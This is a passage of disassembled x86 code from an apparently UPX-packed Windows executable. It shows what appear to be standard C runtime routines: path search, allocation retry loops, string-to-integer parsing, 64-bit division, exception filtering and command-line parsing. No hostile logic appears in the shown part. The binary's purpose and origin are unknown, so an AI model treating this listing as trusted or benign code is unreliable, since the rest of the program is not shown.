mov eax, esi
loc_40ED0C: ; CODE XREF: sub_40EC96+2Aj
pop esi
leave
retn
sub_40EC96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ED0F proc near ; CODE XREF: sub_40B5FD+41p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov [ebp+var_4], edi
cmp edi, ebx
jnz short loc_40ED45
loc_40ED25: ; CODE XREF: sub_40ED0F+38j
; sub_40ED0F+3Fj ...
call sub_40C862
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
or eax, 0FFFFFFFFh
jmp loc_40EF26
; ---------------------------------------------------------------------------
loc_40ED45: ; CODE XREF: sub_40ED0F+14j
cmp [edi], bl
jz short loc_40ED25
mov eax, [ebp+arg_4]
cmp eax, ebx
jz short loc_40ED25
mov eax, [eax]
cmp eax, ebx
jz short loc_40ED25
cmp [eax], bl
jz short loc_40ED25
push esi
push 5Ch
push edi
call sub_414484
push 2Fh
push edi
mov esi, eax
call sub_414484
add esp, 10h
cmp eax, ebx
jnz loc_40EDF9
cmp esi, ebx
jnz loc_40EE03
push 3Ah
push edi
call sub_4143B1
mov esi, eax
pop ecx
pop ecx
cmp esi, ebx
jnz short loc_40EE03
push edi
call sub_40BFB0
mov esi, eax
add esi, 3
push 1
push esi
call sub_40EF6F
mov edi, eax
add esp, 0Ch
mov [ebp+var_4], edi
cmp edi, ebx
jz loc_40EE60
push offset a__0 ; ".\\"
push esi
push edi
call sub_40CD95
add esp, 0Ch
test eax, eax
jz short loc_40EDD3
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40B12D
add esp, 14h
loc_40EDD3: ; CODE XREF: sub_40ED0F+B5j
push [ebp+arg_0]
push esi
push edi
call sub_4139F9
add esp, 0Ch
test eax, eax
jz short loc_40EDF1
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40B12D
add esp, 14h
loc_40EDF1: ; CODE XREF: sub_40ED0F+D3j
lea esi, [edi+2]
mov edi, [ebp+arg_0]
jmp short loc_40EE03
; ---------------------------------------------------------------------------
loc_40EDF9: ; CODE XREF: sub_40ED0F+63j
cmp esi, ebx
jz short loc_40EE01
cmp eax, esi
jbe short loc_40EE03
loc_40EE01: ; CODE XREF: sub_40ED0F+ECj
mov esi, eax
loc_40EE03: ; CODE XREF: sub_40ED0F+6Bj
; sub_40ED0F+7Fj ...
or [ebp+var_10], 0FFFFFFFFh
push 2Eh
push esi
call sub_414484
pop ecx
pop ecx
test eax, eax
jz short loc_40EE41
push ebx
push [ebp+var_4]
call sub_41426C
pop ecx
pop ecx
test eax, eax
jnz loc_40EF14
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+var_4]
call sub_40EC96
add esp, 0Ch
mov [ebp+var_10], eax
jmp loc_40EF14
; ---------------------------------------------------------------------------
loc_40EE41: ; CODE XREF: sub_40ED0F+104j
push [ebp+var_4]
call sub_40BFB0
mov esi, eax
add esi, 5
push 1
push esi
call sub_40EF6F
add esp, 0Ch
mov [ebp+var_8], eax
cmp eax, ebx
jnz short loc_40EE68
loc_40EE60: ; CODE XREF: sub_40ED0F+9Ej
or eax, 0FFFFFFFFh
jmp loc_40EF25
; ---------------------------------------------------------------------------
loc_40EE68: ; CODE XREF: sub_40ED0F+14Fj
push [ebp+var_4]
push esi
push eax
call sub_40CD95
add esp, 0Ch
test eax, eax
jz short loc_40EE86
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40B12D
add esp, 14h
loc_40EE86: ; CODE XREF: sub_40ED0F+168j
push [ebp+var_4]
call sub_40BFB0
mov edi, eax
add edi, [ebp+var_8]
pop ecx
call sub_40C862
mov eax, [eax]
mov [ebp+var_14], eax
mov eax, [ebp+var_8]
sub esi, edi
add esi, eax
mov [ebp+var_C], offset off_42A3CC
loc_40EEAC: ; CODE XREF: sub_40ED0F+1D7j
mov eax, [ebp+var_C]
push dword ptr [eax]
push esi
push edi
call sub_40CD95
add esp, 0Ch
test eax, eax
jz short loc_40EECC
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40B12D
add esp, 14h
loc_40EECC: ; CODE XREF: sub_40ED0F+1AEj
push ebx
push [ebp+var_8]
call sub_41426C
pop ecx
pop ecx
test eax, eax
jz short loc_40EEEA
sub [ebp+var_C], 4
cmp [ebp+var_C], offset off_42A3C0
jge short loc_40EEAC
jmp short loc_40EF08
; ---------------------------------------------------------------------------
loc_40EEEA: ; CODE XREF: sub_40ED0F+1CAj
call sub_40C862
push [ebp+arg_8]
mov ecx, [ebp+var_14]
push [ebp+arg_4]
mov [eax], ecx
push [ebp+var_8]
call sub_40EC96
add esp, 0Ch
mov [ebp+var_10], eax
loc_40EF08: ; CODE XREF: sub_40ED0F+1D9j
push [ebp+var_8]
call sub_40ADC8
mov edi, [ebp+arg_0]
pop ecx
loc_40EF14: ; CODE XREF: sub_40ED0F+113j
; sub_40ED0F+12Dj
cmp [ebp+var_4], edi
jz short loc_40EF22
push [ebp+var_4]
call sub_40ADC8
pop ecx
loc_40EF22: ; CODE XREF: sub_40ED0F+208j
mov eax, [ebp+var_10]
loc_40EF25: ; CODE XREF: sub_40ED0F+154j
pop esi
loc_40EF26: ; CODE XREF: sub_40ED0F+31j
pop edi
pop ebx
leave
retn
sub_40ED0F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EF2A proc near ; CODE XREF: sub_40CEE6+48p
; sub_40F83F+7Ep ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push esi
push edi
xor esi, esi
loc_40EF33: ; CODE XREF: sub_40EF2A+3Dj
push [ebp+arg_0]
call sub_40AEA5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40EF69
cmp dword_42EBE8, eax
jbe short loc_40EF69
push esi
call dword_41D080 ; Sleep
lea eax, [esi+3E8h]
cmp eax, dword_42EBE8
jbe short loc_40EF62
or eax, 0FFFFFFFFh
loc_40EF62: ; CODE XREF: sub_40EF2A+33j
mov esi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_40EF33
loc_40EF69: ; CODE XREF: sub_40EF2A+16j
; sub_40EF2A+1Ej
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_40EF2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EF6F proc near ; CODE XREF: UPX0:0040B70Ap
; sub_40E316+26p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
push esi
push edi
xor esi, esi
loc_40EF78: ; CODE XREF: sub_40EF6F+44j
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40EB78
mov edi, eax
add esp, 0Ch
test edi, edi
jnz short loc_40EFB5
cmp dword_42EBE8, eax
jbe short loc_40EFB5
push esi
call dword_41D080 ; Sleep
lea eax, [esi+3E8h]
cmp eax, dword_42EBE8
jbe short loc_40EFAE
or eax, 0FFFFFFFFh
loc_40EFAE: ; CODE XREF: sub_40EF6F+3Aj
mov esi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_40EF78
loc_40EFB5: ; CODE XREF: sub_40EF6F+1Dj
; sub_40EF6F+25j
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_40EF6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EFBB proc near ; CODE XREF: sub_40B649+61p
; sub_40B649+77p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
push esi
push edi
xor esi, esi
loc_40EFC4: ; CODE XREF: sub_40EFBB+46j
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40B8A1
mov edi, eax
pop ecx
pop ecx
test edi, edi
jnz short loc_40F003
cmp [ebp+arg_4], eax
jz short loc_40F003
cmp dword_42EBE8, eax
jbe short loc_40F003
push esi
call dword_41D080 ; Sleep
lea eax, [esi+3E8h]
cmp eax, dword_42EBE8
jbe short loc_40EFFC
or eax, 0FFFFFFFFh
loc_40EFFC: ; CODE XREF: sub_40EFBB+3Cj
mov esi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_40EFC4
loc_40F003: ; CODE XREF: sub_40EFBB+1Aj
; sub_40EFBB+1Fj ...
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_40EFBB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F009 proc near ; CODE XREF: sub_416CC7+13Dp
; sub_416CC7+179p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
push esi
push edi
xor esi, esi
loc_40F012: ; CODE XREF: sub_40F009+4Aj
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40B28B
mov edi, eax
add esp, 0Ch
test edi, edi
jnz short loc_40F055
cmp [ebp+arg_8], eax
jz short loc_40F055
cmp dword_42EBE8, eax
jbe short loc_40F055
push esi
call dword_41D080 ; Sleep
lea eax, [esi+3E8h]
cmp eax, dword_42EBE8
jbe short loc_40F04E
or eax, 0FFFFFFFFh
loc_40F04E: ; CODE XREF: sub_40F009+40j
mov esi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_40F012
loc_40F055: ; CODE XREF: sub_40F009+1Ej
; sub_40F009+23j ...
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_40F009 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40F060 proc near ; CODE XREF: sub_4128E7+8F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_40F091
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
div ecx
mov esi, eax
mov eax, ebx
mul [esp+4+arg_8]
mov ecx, eax
mov eax, esi
mul [esp+4+arg_8]
add edx, ecx
jmp short loc_40F0D8
; ---------------------------------------------------------------------------
loc_40F091: ; CODE XREF: sub_40F060+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_40F09F: ; CODE XREF: sub_40F060+49j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_40F09F
div ebx
mov esi, eax
mul [esp+4+arg_C]
mov ecx, eax
mov eax, [esp+4+arg_8]
mul esi
add edx, ecx
jb short loc_40F0CD
cmp edx, [esp+4+arg_4]
ja short loc_40F0CD
jb short loc_40F0D6
cmp eax, [esp+4+arg_0]
jbe short loc_40F0D6
loc_40F0CD: ; CODE XREF: sub_40F060+5Dj
; sub_40F060+63j
dec esi
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_40F0D6: ; CODE XREF: sub_40F060+65j
; sub_40F060+6Bj
xor ebx, ebx
loc_40F0D8: ; CODE XREF: sub_40F060+2Fj
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
mov ecx, edx
mov edx, ebx
mov ebx, ecx
mov ecx, eax
mov eax, esi
pop esi
retn 10h
sub_40F060 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F0F5 proc near ; CODE XREF: sub_40F324:loc_40F345p
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 14h
push esi
push edi
push [ebp+arg_0]
lea ecx, [ebp+var_14]
call sub_40C799
mov eax, [ebp+arg_8]
mov esi, [ebp+arg_4]
xor edi, edi
cmp eax, edi
jz short loc_40F118
mov [eax], esi
loc_40F118: ; CODE XREF: sub_40F0F5+1Fj
cmp esi, edi
jnz short loc_40F148
loc_40F11C: ; CODE XREF: sub_40F0F5+5Cj
; sub_40F0F5+62j
call sub_40C862
push edi
push edi
push edi
push edi
push edi
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
cmp [ebp+var_8], 0
jz short loc_40F141
mov eax, [ebp+var_C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_40F141: ; CODE XREF: sub_40F0F5+43j
xor eax, eax
jmp loc_40F320
; ---------------------------------------------------------------------------
loc_40F148: ; CODE XREF: sub_40F0F5+25j
cmp [ebp+arg_C], edi
jz short loc_40F159
cmp [ebp+arg_C], 2
jl short loc_40F11C
cmp [ebp+arg_C], 24h
jg short loc_40F11C
loc_40F159: ; CODE XREF: sub_40F0F5+56j
mov ecx, [ebp+var_14]
push ebx
mov bl, [esi]
mov [ebp+var_4], edi
lea edi, [esi+1]
loc_40F165: ; CODE XREF: sub_40F0F5+A7j
cmp dword ptr [ecx+0ACh], 1
jle short loc_40F185
lea eax, [ebp+var_14]
push eax
movzx eax, bl
push 8
push eax
call sub_41449B
mov ecx, [ebp+var_14]
add esp, 0Ch
jmp short loc_40F195
; ---------------------------------------------------------------------------
loc_40F185: ; CODE XREF: sub_40F0F5+77j
mov edx, [ecx+0C8h]
movzx eax, bl
movzx eax, word ptr [edx+eax*2]
and eax, 8
loc_40F195: ; CODE XREF: sub_40F0F5+8Ej
test eax, eax
jz short loc_40F19E
mov bl, [edi]
inc edi
jmp short loc_40F165
; ---------------------------------------------------------------------------
loc_40F19E: ; CODE XREF: sub_40F0F5+A2j
cmp bl, 2Dh
jnz short loc_40F1A9
or [ebp+arg_10], 2
jmp short loc_40F1AE
; ---------------------------------------------------------------------------
loc_40F1A9: ; CODE XREF: sub_40F0F5+ACj
cmp bl, 2Bh
jnz short loc_40F1B1
loc_40F1AE: ; CODE XREF: sub_40F0F5+B2j
mov bl, [edi]
inc edi
loc_40F1B1: ; CODE XREF: sub_40F0F5+B7j
mov eax, [ebp+arg_C]
test eax, eax
jl loc_40F307
cmp eax, 1
jz loc_40F307
cmp eax, 24h
jg loc_40F307
test eax, eax
jnz short loc_40F1FC
cmp bl, 30h
jz short loc_40F1E0
mov [ebp+arg_C], 0Ah
jmp short loc_40F214
; ---------------------------------------------------------------------------
loc_40F1E0: ; CODE XREF: sub_40F0F5+E0j
mov al, [edi]
cmp al, 78h
jz short loc_40F1F3
cmp al, 58h
jz short loc_40F1F3
mov [ebp+arg_C], 8
jmp short loc_40F214
; ---------------------------------------------------------------------------
loc_40F1F3: ; CODE XREF: sub_40F0F5+EFj
; sub_40F0F5+F3j
mov [ebp+arg_C], 10h
jmp short loc_40F206
; ---------------------------------------------------------------------------
loc_40F1FC: ; CODE XREF: sub_40F0F5+DBj
cmp eax, 10h
jnz short loc_40F214
cmp bl, 30h
jnz short loc_40F214
loc_40F206: ; CODE XREF: sub_40F0F5+105j
mov al, [edi]
cmp al, 78h
jz short loc_40F210
cmp al, 58h
jnz short loc_40F214
loc_40F210: ; CODE XREF: sub_40F0F5+115j
inc edi
mov bl, [edi]
inc edi
loc_40F214: ; CODE XREF: sub_40F0F5+E9j
; sub_40F0F5+FCj ...
mov esi, [ecx+0C8h]
mov eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_C]
loc_40F224: ; CODE XREF: sub_40F0F5+1A2j
movzx ecx, bl
movzx ecx, word ptr [esi+ecx*2]
test cl, 4
jz short loc_40F238
movsx ecx, bl
sub ecx, 30h
jmp short loc_40F253
; ---------------------------------------------------------------------------
loc_40F238: ; CODE XREF: sub_40F0F5+139j
test ecx, 103h
jz short loc_40F271
mov cl, bl
sub cl, 61h
cmp cl, 19h
movsx ecx, bl
ja short loc_40F250
sub ecx, 20h
loc_40F250: ; CODE XREF: sub_40F0F5+156j
add ecx, 0FFFFFFC9h
loc_40F253: ; CODE XREF: sub_40F0F5+141j
cmp ecx, [ebp+arg_C]
jnb short loc_40F271
or [ebp+arg_10], 8
cmp [ebp+var_4], eax
jb short loc_40F288
jnz short loc_40F267
cmp ecx, edx
jbe short loc_40F288
loc_40F267: ; CODE XREF: sub_40F0F5+16Cj
or [ebp+arg_10], 4
cmp [ebp+arg_8], 0
jnz short loc_40F294
loc_40F271: ; CODE XREF: sub_40F0F5+149j
; sub_40F0F5+161j
mov eax, [ebp+arg_10]
dec edi
test al, 8
jnz short loc_40F299
cmp [ebp+arg_8], 0
jz short loc_40F282
mov edi, [ebp+arg_4]
loc_40F282: ; CODE XREF: sub_40F0F5+188j
and [ebp+var_4], 0
jmp short loc_40F2E3
; ---------------------------------------------------------------------------
loc_40F288: ; CODE XREF: sub_40F0F5+16Aj
; sub_40F0F5+170j
mov ebx, [ebp+var_4]
imul ebx, [ebp+arg_C]
add ebx, ecx
mov [ebp+var_4], ebx
loc_40F294: ; CODE XREF: sub_40F0F5+17Aj
mov bl, [edi]
inc edi
jmp short loc_40F224
; ---------------------------------------------------------------------------
loc_40F299: ; CODE XREF: sub_40F0F5+182j
mov esi, 7FFFFFFFh
test al, 4
jnz short loc_40F2BD
test al, 1
jnz short loc_40F2E3
and eax, 2
jz short loc_40F2B4
cmp [ebp+var_4], 80000000h
ja short loc_40F2BD
loc_40F2B4: ; CODE XREF: sub_40F0F5+1B4j
test eax, eax
jnz short loc_40F2E3
cmp [ebp+var_4], esi
jbe short loc_40F2E3
loc_40F2BD: ; CODE XREF: sub_40F0F5+1ABj
; sub_40F0F5+1BDj
call sub_40C862
test byte ptr [ebp+arg_10], 1
mov dword ptr [eax], 22h
jz short loc_40F2D4
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_40F2E3
; ---------------------------------------------------------------------------
loc_40F2D4: ; CODE XREF: sub_40F0F5+1D7j
test byte ptr [ebp+arg_10], 2
push 0
pop eax
setnz al
add eax, esi
mov [ebp+var_4], eax
loc_40F2E3: ; CODE XREF: sub_40F0F5+191j
; sub_40F0F5+1AFj ...
mov eax, [ebp+arg_8]
test eax, eax
jz short loc_40F2EC
mov [eax], edi
loc_40F2EC: ; CODE XREF: sub_40F0F5+1F3j
test byte ptr [ebp+arg_10], 2
jz short loc_40F2F5
neg [ebp+var_4]
loc_40F2F5: ; CODE XREF: sub_40F0F5+1FBj
cmp [ebp+var_8], 0
jz short loc_40F302
mov eax, [ebp+var_C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_40F302: ; CODE XREF: sub_40F0F5+204j
mov eax, [ebp+var_4]
jmp short loc_40F31F
; ---------------------------------------------------------------------------
loc_40F307: ; CODE XREF: sub_40F0F5+C1j
; sub_40F0F5+CAj ...
mov eax, [ebp+arg_8]
test eax, eax
jz short loc_40F310
mov [eax], esi
loc_40F310: ; CODE XREF: sub_40F0F5+217j
cmp [ebp+var_8], 0
jz short loc_40F31D
mov eax, [ebp+var_C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_40F31D: ; CODE XREF: sub_40F0F5+21Fj
xor eax, eax
loc_40F31F: ; CODE XREF: sub_40F0F5+210j
pop ebx
loc_40F320: ; CODE XREF: sub_40F0F5+4Ej
pop edi
pop esi
leave
retn
sub_40F0F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F324 proc near ; CODE XREF: sub_40BABC+Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
xor eax, eax
push eax
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
cmp dword_42ED1C, eax
jnz short loc_40F344
push offset off_42ACE0
jmp short loc_40F345
; ---------------------------------------------------------------------------
loc_40F344: ; CODE XREF: sub_40F324+17j
push eax
loc_40F345: ; CODE XREF: sub_40F324+1Ej
call sub_40F0F5
add esp, 14h
pop ebp
retn
sub_40F324 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40F350 proc near ; CODE XREF: sub_40BB3D+2Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_40F372
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_40F3B3
; ---------------------------------------------------------------------------
loc_40F372: ; CODE XREF: sub_40F350+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_40F380: ; CODE XREF: sub_40F350+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_40F380
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_40F3AE
cmp edx, [esp+8+arg_4]
ja short loc_40F3AE
jb short loc_40F3AF
cmp eax, [esp+8+arg_0]
jbe short loc_40F3AF
loc_40F3AE: ; CODE XREF: sub_40F350+4Ej
; sub_40F350+54j
dec esi
loc_40F3AF: ; CODE XREF: sub_40F350+56j
; sub_40F350+5Cj
xor edx, edx
mov eax, esi
loc_40F3B3: ; CODE XREF: sub_40F350+20j
pop esi
pop ebx
retn 10h
sub_40F350 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F3B8 proc near ; DATA XREF: sub_40F3FAo
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_40F3F4
cmp dword ptr [eax+10h], 3
jnz short loc_40F3F4
mov eax, [eax+14h]
cmp eax, 19930520h
jz short loc_40F3EF
cmp eax, 19930521h
jz short loc_40F3EF
cmp eax, 19930522h
jz short loc_40F3EF
cmp eax, 1994000h
jnz short loc_40F3F4
loc_40F3EF: ; CODE XREF: sub_40F3B8+20j
; sub_40F3B8+27j ...
call sub_40E02B
loc_40F3F4: ; CODE XREF: sub_40F3B8+10j
; sub_40F3B8+16j ...
xor eax, eax
pop ebp
retn 4
sub_40F3B8 endp
; =============== S U B R O U T I N E =======================================
sub_40F3FA proc near ; DATA XREF: UPX0:0041D40Co
push offset sub_40F3B8
call dword_41D1AC ; SetUnhandledExceptionFilter
xor eax, eax
retn
sub_40F3FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F408 proc near ; CODE XREF: UPX0:0040BCEEp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call sub_40E316
mov esi, eax
test esi, esi
jz loc_40F565
mov edx, [esi+5Ch]
mov eax, dword_42A3DC
push edi
mov edi, [ebp+arg_0]
mov ecx, edx
push ebx
loc_40F42E: ; CODE XREF: sub_40F408+36j
cmp [ecx], edi
jz short loc_40F440
mov ebx, eax
imul ebx, 0Ch
add ecx, 0Ch
add ebx, edx
cmp ecx, ebx
jb short loc_40F42E
loc_40F440: ; CODE XREF: sub_40F408+28j
imul eax, 0Ch
add eax, edx
cmp ecx, eax
jnb short loc_40F451
cmp [ecx], edi
jnz short loc_40F451
mov eax, ecx
jmp short loc_40F453
; ---------------------------------------------------------------------------
loc_40F451: ; CODE XREF: sub_40F408+3Fj
; sub_40F408+43j
xor eax, eax
loc_40F453: ; CODE XREF: sub_40F408+47j
test eax, eax
jz short loc_40F461
mov ebx, [eax+8]
mov [ebp+var_4], ebx
test ebx, ebx
jnz short loc_40F468
loc_40F461: ; CODE XREF: sub_40F408+4Dj
xor eax, eax
jmp loc_40F563
; ---------------------------------------------------------------------------
loc_40F468: ; CODE XREF: sub_40F408+57j
cmp ebx, 5
jnz short loc_40F479
and dword ptr [eax+8], 0
xor eax, eax
inc eax
jmp loc_40F563
; ---------------------------------------------------------------------------
loc_40F479: ; CODE XREF: sub_40F408+63j
cmp ebx, 1
jz loc_40F560
mov ecx, [esi+60h]
mov [ebp+var_8], ecx
mov ecx, [ebp+arg_4]
mov [esi+60h], ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_40F552
mov ecx, dword_42A3D0
mov edi, dword_42A3D4
mov edx, ecx
add edi, ecx
cmp edx, edi
jge short loc_40F4D2
imul ecx, 0Ch
loc_40F4B1: ; CODE XREF: sub_40F408+C5j
mov edi, [esi+5Ch]
and dword ptr [ecx+edi+8], 0
mov edi, dword_42A3D0
mov ebx, dword_42A3D4
inc edx
add ebx, edi
add ecx, 0Ch
cmp edx, ebx
jl short loc_40F4B1
mov ebx, [ebp+var_4]
loc_40F4D2: ; CODE XREF: sub_40F408+A4j
mov eax, [eax]
mov edi, [esi+64h]
cmp eax, 0C000008Eh
jnz short loc_40F4E7
mov dword ptr [esi+64h], 83h
jmp short loc_40F545
; ---------------------------------------------------------------------------
loc_40F4E7: ; CODE XREF: sub_40F408+D4j
cmp eax, 0C0000090h
jnz short loc_40F4F7
mov dword ptr [esi+64h], 81h
jmp short loc_40F545
; ---------------------------------------------------------------------------
loc_40F4F7: ; CODE XREF: sub_40F408+E4j
cmp eax, 0C0000091h
jnz short loc_40F507
mov dword ptr [esi+64h], 84h
jmp short loc_40F545
; ---------------------------------------------------------------------------
loc_40F507: ; CODE XREF: sub_40F408+F4j
cmp eax, 0C0000093h
jnz short loc_40F517
mov dword ptr [esi+64h], 85h
jmp short loc_40F545
; ---------------------------------------------------------------------------
loc_40F517: ; CODE XREF: sub_40F408+104j
cmp eax, 0C000008Dh
jnz short loc_40F527
mov dword ptr [esi+64h], 82h
jmp short loc_40F545
; ---------------------------------------------------------------------------
loc_40F527: ; CODE XREF: sub_40F408+114j
cmp eax, 0C000008Fh
jnz short loc_40F537
mov dword ptr [esi+64h], 86h
jmp short loc_40F545
; ---------------------------------------------------------------------------
loc_40F537: ; CODE XREF: sub_40F408+124j
cmp eax, 0C0000092h
jnz short loc_40F545
mov dword ptr [esi+64h], 8Ah
loc_40F545: ; CODE XREF: sub_40F408+DDj
; sub_40F408+EDj ...
push dword ptr [esi+64h]
push 8
call ebx
pop ecx
mov [esi+64h], edi
jmp short loc_40F559
; ---------------------------------------------------------------------------
loc_40F552: ; CODE XREF: sub_40F408+8Cj
and dword ptr [eax+8], 0
push ecx
call ebx
loc_40F559: ; CODE XREF: sub_40F408+148j
mov eax, [ebp+var_8]
pop ecx
mov [esi+60h], eax
loc_40F560: ; CODE XREF: sub_40F408+74j
or eax, 0FFFFFFFFh
loc_40F563: ; CODE XREF: sub_40F408+5Bj
; sub_40F408+6Cj
pop ebx
pop edi
loc_40F565: ; CODE XREF: sub_40F408+11j
pop esi
leave
retn
sub_40F408 endp
; =============== S U B R O U T I N E =======================================
sub_40F568 proc near ; CODE XREF: UPX0:loc_40BCAAp
mov edi, edi
push esi
push edi
xor edi, edi
cmp dword_430270, edi
jnz short loc_40F57B
call sub_4121C2
loc_40F57B: ; CODE XREF: sub_40F568+Cj
mov esi, dword_430294
test esi, esi
jnz short loc_40F58A
mov esi, offset off_4246EE
loc_40F58A: ; CODE XREF: sub_40F568+1Bj
; sub_40F568+4Dj
mov al, [esi]
cmp al, 20h
ja short loc_40F598
test al, al
jz short loc_40F5C2
test edi, edi
jz short loc_40F5BC
loc_40F598: ; CODE XREF: sub_40F568+26j
cmp al, 22h
jnz short loc_40F5A5
xor ecx, ecx
test edi, edi
setz cl
mov edi, ecx
loc_40F5A5: ; CODE XREF: sub_40F568+32j
movzx eax, al
push eax
call sub_4145E7
pop ecx
test eax, eax
jz short loc_40F5B4
inc esi
loc_40F5B4: ; CODE XREF: sub_40F568+49j
inc esi
jmp short loc_40F58A
; ---------------------------------------------------------------------------
loc_40F5B7: ; CODE XREF: sub_40F568+58j
cmp al, 20h
ja short loc_40F5C2
inc esi
loc_40F5BC: ; CODE XREF: sub_40F568+2Ej
mov al, [esi]
test al, al
jnz short loc_40F5B7
loc_40F5C2: ; CODE XREF: sub_40F568+2Aj
; sub_40F568+51j
pop edi
mov eax, esi
pop esi
retn
sub_40F568 endp
; =============== S U B R O U T I N E =======================================
sub_40F5C7 proc near ; CODE XREF: UPX0:loc_40BC87p
cmp dword_430270, 0
jnz short loc_40F5D5
call sub_4121C2
loc_40F5D5: ; CODE XREF: sub_40F5C7+7j
push esi
mov esi, dword_42E3F0
push edi
xor edi, edi
test esi, esi
jnz short loc_40F5FB
loc_40F5E3: ; CODE XREF: sub_40F5C7+4Fj
or eax, 0FFFFFFFFh
jmp loc_40F68B
; ---------------------------------------------------------------------------
loc_40F5EB: ; CODE XREF: sub_40F5C7+38j
cmp al, 3Dh
jz short loc_40F5F0
inc edi
loc_40F5F0: ; CODE XREF: sub_40F5C7+26j
push esi
call sub_40BFB0
pop ecx
lea esi, [esi+eax+1]
loc_40F5FB: ; CODE XREF: sub_40F5C7+1Aj
mov al, [esi]
test al, al
jnz short loc_40F5EB
push 4
inc edi
push edi
call sub_40EF6F
mov edi, eax
pop ecx
pop ecx
mov dword_42E88C, edi
test edi, edi
jz short loc_40F5E3
mov esi, dword_42E3F0
push ebx
jmp short loc_40F663
; ---------------------------------------------------------------------------
loc_40F621: ; CODE XREF: sub_40F5C7+9Fj
push esi
call sub_40BFB0
mov ebx, eax
inc ebx
cmp byte ptr [esi], 3Dh
pop ecx
jz short loc_40F661
push 1
push ebx
